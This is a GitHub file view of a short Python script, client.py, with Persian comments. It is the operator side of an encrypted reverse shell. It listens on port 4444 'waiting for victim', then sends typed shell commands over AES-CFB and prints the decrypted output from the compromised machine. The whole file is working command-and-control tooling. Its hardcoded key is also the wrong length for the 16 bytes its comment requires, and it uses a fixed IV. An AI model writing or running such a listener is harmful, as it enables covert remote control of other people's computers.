-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathclient.py
More file actions
50 lines (36 loc) · 1.38 KB
/
client.py
File metadata and controls
50 lines (36 loc) · 1.38 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import socket
from Crypto.Cipher import AES
import base64
# تنظیمات رمزنگاری
KEY = b'Your16ByteSecretKey' # باید ۱۶ بایت باشد
IV = b'1234567890123456' # باید ۱۶ بایت باشد
def encrypt(data: str) -> str:
cipher = AES.new(KEY, AES.MODE_CFB, IV)
return base64.b64encode(cipher.encrypt(data.encode())).decode()
def decrypt(data: str) -> str:
cipher = AES.new(KEY, AES.MODE_CFB, IV)
return cipher.decrypt(base64.b64decode(data)).decode()
def start_server():
HOST = '0.0.0.0' # گوش دادن به همه اینترفیسها
PORT = 4444 # پورت مورد نظر
with socket.socket() as s:
s.bind((HOST, PORT))
s.listen()
print(f"[*] Listening on {HOST}:{PORT} (Waiting for victim...)")
conn, addr = s.accept()
print(f"[+] Connection established from {addr}")
while True:
try:
cmd = input("shell> ")
if cmd.lower() == 'exit':
conn.send(encrypt(cmd).encode())
break
conn.send(encrypt(cmd).encode())
encrypted_output = conn.recv(999999).decode()
output = decrypt(encrypted_output)
print(output)
except Exception as e:
print(f"Error: {e}")
break
if __name__ == "__main__":
start_server()